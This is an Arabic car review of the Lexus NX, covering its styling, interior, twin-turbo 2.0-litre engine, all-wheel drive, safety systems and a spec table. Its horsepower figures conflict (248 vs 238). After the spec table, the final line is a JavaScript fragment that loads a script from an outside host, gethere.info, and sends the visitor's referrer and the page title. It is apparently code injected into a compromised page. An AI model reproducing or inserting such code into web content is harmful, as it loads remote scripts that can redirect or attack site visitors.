لكزس “NX” التجربة الممتعة

لكل نمط  قيادة محبيه وعشاقه، ولكن لكزس “NX” جمعت كافة الأنماط في سيارة واحدة، فقد اختبرنا مع “NX” الجديدة تجربة ممتعة وغنية حيث أشبعت هذه السيارة شغفنا الرياضي بفضل أدائها القوي والمميز، وكذلك فقد استمتعنا بالمقصورة الفخمة والعملانية فالسيارة الجديدة تنتمي الى فئة الكروس أوفر وهي تتمتع بمزايا ال”SUV” حيث تصلح للرحلات اضافة لكونها تتماشى مع متطلبات الحياة اليومية داخل المدينة ويمكننا القول أن سيارة لكزس “NX” متكاملة ومدروسة باتقان، وجدير بالذكر أن مشروع انتاج ال “NX” بدأ في العام 2009 وقد عمل ما يزيد على ألفي مهندس في هذا المشروع وقد خضعت السيارة لاختبارات قيادة مكثفة على مدى تجاوز مليون كيلومتر من الطرقات الحقيقية وقد اختبر أداء محركها على ارتفاعات بلغت 3 آلاف متر فوق سطح البحر كذلك في الطقس الحار على حرارة تزيد على خمسين درجة مئوية، وبالفعل فقد استمتعنا بأداء “NX” فهي قوية وجداً سريعة الاستجابة ويعود الفضل في ذلك الى محركها المدعوم بشاحن توربيني مزدوج والذي تبلغ سعته 2,0 ليتر وهو قادر على توليد 248 حصان أما عزمه فيصل الى 350 نيوتن متر.

التصميم

تتمتع سيارة “NX” بوقفة مهيبة تعبر عن القوة والمتانة، وقبل الدخول الى المقصورة والجلوس خلف المقود لا بد لنا من تفحص تصميم هذه السيارة والتعرف عن كثب الى تفاصيلها، وكما سبق وذكرنا فان الشكل العام للسيارة رياضي ومبتكر وقد عمل مهندسو التصميم على دمج المساحات الواسعة وتخفيف الخطوط المشدودة، وقد حققت “NX” أداء ديناميكياً انسيابياً بفضل مقاومتها المنخفضة للهواء، وكذلك فان مستوى الضوضاء منخفض جداً وهذا ما لمسناه أثناء قيادة السيارة، وبالعودة الى تفاصيل التصميم فان مشبك المقدمة واسع جداً وذلك لتعزيز الشكل الرياضي اضافة لتأمين التبريد الأفضل للمحرك، أما المصابيح الأمامية فقد أعطت شراسة محمية للتصميم وتعمل المصابيح بتقنية الدايودات الباعثة للضوء وكذلك فقد زودت باضاءة نهارية وقد زود المصباحين الأماميين ب 78 دايود للاضاءة النهارية وكذلك فان المصابيح الخلفية مزودة بتقنية الدايودات وهي تضيء على شكل حرف “L” وكذلك تم ادخال لون البيانو الأسود في صناعة زجاج المصابيح، أما بالنسبة للطلاء الخارجي فهو ملفت وجذاب وقد استخدمت تقنية “SOMIC QUARTZ”. حيث تتم عملية الطلاء على مرحلتين الأولى وهي الطلاء العادي الذي يعطي اللون الأساسي أما الطبقة الثانية التي تتألف من جزئيات ال”MICA” فهي التي تعطي الرونق والحيوية للسيارة وتتوفر “NX” بعشرة ألوان وذلك لارضاء كافة الأذواق، أما بالنسبة للعجلات فقد زودت السيارة بعجلات قياس 17 بوصة وكذلك تتوفر عجلات بقياس 18 بوصة وهي مطلية بطبقة لامعة، أما اللافت والأكثر جاذبية في هذه السيارة فهي مسكات الابواب التي تضيء بشكل دافىء.

من الداخل

الشعور بالراحة والرقي أمر بديهي داخل هذه المقصورة والجلوس خلف المقود تولد لدينا احساس عميق بالراحة وكذلك العملانية فالسيارة المصنوعة من المواد الفخمة والمنسقة بشكل جيد تمنح الراحة والمتعة أثناء القيادة، وتتمتع المقصورة أيضاً بالرحابة والسعة فهي أيضاً مجهزة لتكون متعددة الاستعمالات وبالنظر الى تفاصيل التصميم فهي تعكس فخامة لكزس وجودتها ولعل أهم ما يظهر هذه الفخامة هي:

– المقاعد : جهزت NX بمقاعد رياضية ومريحة ومكسوة بنسيج فاخر وقد جهزت المقاعد بتحكم كهربائي، والجدير بالذكر أن المقاعد الخلفية قابلة للطي بنسبة (40:60) وبتحكم كهربائي أيضاً. ويتيح طي المقاعد إمكانية تحميل الأمتعة بشكل أفضل.

– المقصورة ولوحة القيادة : تتمتع NX بمقصورة فخمة فهي مصنوعة من مواد عالية الجودة وهذا ما لمسناه واستمتعنا به اثناء قيادة السيارة فاضافة الى التشطيبات الراقية فقد استخدمت بعض الأجزاء المعدنية اللامعة وكذلك فقد تم ادخال تشطيبات خشبية رائعة وقد زودت المقصورة بحجرات صغيرة لوضع الحاجيات الخاصة كذلك فقد جهزت بأماكن لوضع الأكواب، أما بالنسبة للكنسول الوسطي فهو منسق بشكل عملي وجميل وهو ينم عن ذوق رفيع في التصميم، أما بالنسبة لعددات السرعة والساعة فهي مصنعة بشكل فريد مع اطارات معدنية جذابة أما اضاءة لوحة العددات فهي جميلة ومبتكرة، وقد جهزت لوحة القيادة ايضاً بشاشة رقمية “TFT” قياس 4,2 انش وذلك لعرض بيانات القيادة، وتكتمل التجهيزات مع شاشة الملاحة قياس 7انش والتي يتم  ايضا التحكم عبرها بالراديو والصوت وكافة تقنيات التواصل وقد جهزت المقصورة بتقنيات تواصل “wireless” اما بالنسبة لنظام الصوت فهو رائع ويتم توزيع الصوت داخل المقصورة عبر 10 سماعات من صناعة “pioneer” .

بعد تفحص أجزاء المقصورة كافة حان الآن وقت الاستمتاع بالقيادة واختبار قدرات NX وقد جهز الصانع الياباني بمحرك قوي ومبتكر ويتألف هذا المحرك من اربعة اسطوانات سعة 2,0 ليتر وهو محرك جديد كلياً وقد دعم هذا المحرك بشاحن توربيني مزدوج، وتعد صناعة هذا المحرك قفزة هامة في مجال صناعة المحركات حيث تم دمج مجاري طرد الغازات المحترقة مع رأس المحرك وتم تبريد رأس المحرك بالماء وقد ربط المحرك الى علبة سرعات أوتوماتيكية من ست نسب وهي سلسة جداً أثناء التبديل ، واللافت اثناء القيادة هو القوة التي يمنحها المحرك اثناء القيادة وعلى السرعات المنخفضة حيث يستطيع المحرك توليد قوة تصل الى 350 نيوتن متر ابتداء من 1650 دورة في الدقيقة وحتى 4000 دورة في الدقيقة، اما بالنسبة للقوة فتصل قوة المحرك الى 238 حصان ما بين 6500-4800 دورة في الدقيقة، ويتيح نظام الدفع الرباعي قيادة متزنة وقوية في كافة ظروف القيادة، وبفضل الترس التفاضلي الوسطي تتغير نسبة نقل القوة ما بين محاور السيارة الامامية والخلفية مابين 100 الى 50/50 ما بين الامام والخلف ، وللتوفير بنسبة استهلاك الوقود فقد جهز المحرك بنظام تعديل انفتاح الصمامات بشكل تلقائي “VVT” حسب سرعة دوران المحرك، وكذلك فقد زود المحرك بتقنية التوقف، وبالرغم من أدائه القوي فان المحرك يلتزم بمعايير الحفاظ على البيئة Euro6و ULEV2.

قيادة آمنة ومتزنة

لا بد لنا من التنويه باتزان هذه السيارة والتصاقها بالطريق في كافة الطروف  فقد اختبرنا القيادة على الطرقات الزلقة والجافة وعند المنعطفات وبالفعل فقد اثبت NX فعاليتها ويعود الفضل في ذلك الى عدة عوامل أهمها قاعدة السيارة الصلبة جداً والتي تم جمعها باستخدام تقنية التلحيم بالليزر واضافة العوارض المعدنية الصلبة، اما بالنسبة للثبات اثناء القيادة فقد لعبت المخمدات ونظام التعليق دوراً فعالاً في ذلك فالمخمدات قابلة للتأقلم بشكل تلقائي ونشط ويستطيع نظام التخميد العمل وفق 30 مرحلة حسب متطلبات القيادة وقد جهزت السيارة بأنظمة الكترونية لتأمين الراحة والسلامة عند السرعات المنخفضة وكذلك فقد زودت السيارة بأنظمة ثبات ديناميكية ونظام منع الانزلاق والالتفاف حول المحور وكذلك فان المخمدات مجهزة بنظام تخميد دقيق لمنع الاهتزازات، اما بالنسبة لتقنيات الآمان فان السيارة مزودة بشكل كامل ولعل أهم أنظمة الآمان هي:

– نظام الرادار وكروز كنترول : ويعمل هذا على كافة السرعات للحفاظ على مسافة ثابتة مع باقي السيارات والحد من أخطار التصادم.

– نظام الرؤية البانورامي حيث تتيح الكاميرات الاربع الموزعة على جوانب السيارة رؤية محيط السيارة عبر شاشة الملاحة .

– نظام التحذير الضوئي الذي يصدر اشارة تحذير ضوئية في حال وجود سيارة قريبة .

– نظام الحفاظ على المسار وذلك للحد من أخطار التصادم .

– نظام الكبح التلقائي والذي يعمل على تفعيل المكابح عند استشعار الرادار لأي خطر اصطدام وأهم من ذلك فقد زودت السيارة بنظام استشعار المشاة وحمايتهم.

البطاقة التقنية لـ لكزس NX

الاندفاع: رباعي

عدد الاسطوانات: 4

السعة (ليتر): 2 مع توربو

القوة (حصان/ د.د.): 238/ 4800 – 6500

عزم الدوران (ن – م/ د.د.): 350/ 1650 – 4000

من صفر الى 100 كلم/س (ثانية): –

السرعة القصوى (كلم/س): –

محركات اخرى (عدد الأسطوانات/السعة/القوة): غير متوفر

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;